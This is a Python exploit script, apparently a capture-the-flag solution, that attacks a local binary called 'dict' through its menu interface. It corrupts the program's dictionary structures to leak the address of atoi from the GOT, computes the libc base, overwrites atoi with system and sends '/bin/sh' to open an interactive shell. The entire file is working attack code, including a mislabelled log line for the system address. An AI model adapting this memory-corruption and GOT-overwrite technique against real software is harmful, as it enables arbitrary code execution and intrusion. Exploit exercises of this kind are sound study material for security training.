#!/usr/bin/env python
# encoding:utf-8

from utils import *

# context.log_level = 'debug'

io = process('./dict')
# io = debug('dict'); io.r()

elf = ELF('./dict')
libc = ELF('./libc.so.6')


def create_dict(words, words_count=None):
    global io
    if words_count is None:
        words_count = len(words)
    io.sendline('1')
    io.sendline(str(words_count))
    for word in words:
        io.sendline(word)


def add_words(dict_id, words, words_count=None):
    global io
    if words_count is None:
        words_count = len(words)
    io.sendline('2')
    io.sendline(str(dict_id))
    io.sendline(str(words_count))
    for word in words:
        io.sendline(word)
    if (len(words) < words_count):
        io.sendline('')


def view_words(dict_id):
    global io
    io.sendline('3')
    io.sendline(str(dict_id))


dicts_addr = 0x0804A0C0

# create_dict([''], 0x200000)
create_dict(['AAAA'])
create_dict([p32(0x28) + p32(0x29) + p32(dicts_addr + 0x24)])
create_dict(['CCCC'])
create_dict(['DDDD'])

create_dict(['EEEE'])
create_dict(['FFFF'] * 0x29)

add_words(1, ['BBBB'] * 0x28)
add_words(3, ['DDDD'])
add_words(2, [p32(0x28) + p32(0x29) + p32(dicts_addr + 0x4)], 0x8000000)
create_dict(['GGGG'])  # pointer same as old D
word = nops(4)
word += p32(0x28) + p32(0x29) + p32(0x7fffffb) + p32(0x804a0d8) # 0x804a0d8 + 0x7fffffb * 32 = 0x10804a038 == elf.got['atoi']
create_dict([word])  # pointer to dicts_addr + 0x4 + 0x8

create_dict(['HHHH'])  # pointer same as old B
word = nops(4)
word += p32(1) + p32(elf.got['atoi'])
word += p32(0x28) + p32(0x29)
create_dict([word])  # pointer to dicts_addr + 0x24 + 0x8

io.clean(0.5)
view_words(6)
io.recvuntil('1: ')
atoi_addr = u32(io.recv(4))
libc_base_addr = atoi_addr - libc.symbols['atoi']
system_addr = libc_base_addr + libc.symbols['system']
log.info('atoi addr: 0x%08x' % atoi_addr)
log.info('atoi addr: 0x%08x' % system_addr)

add_words(3, [p32(system_addr)], 6)
io.sendline('/bin/sh')

io.ext_interactive()
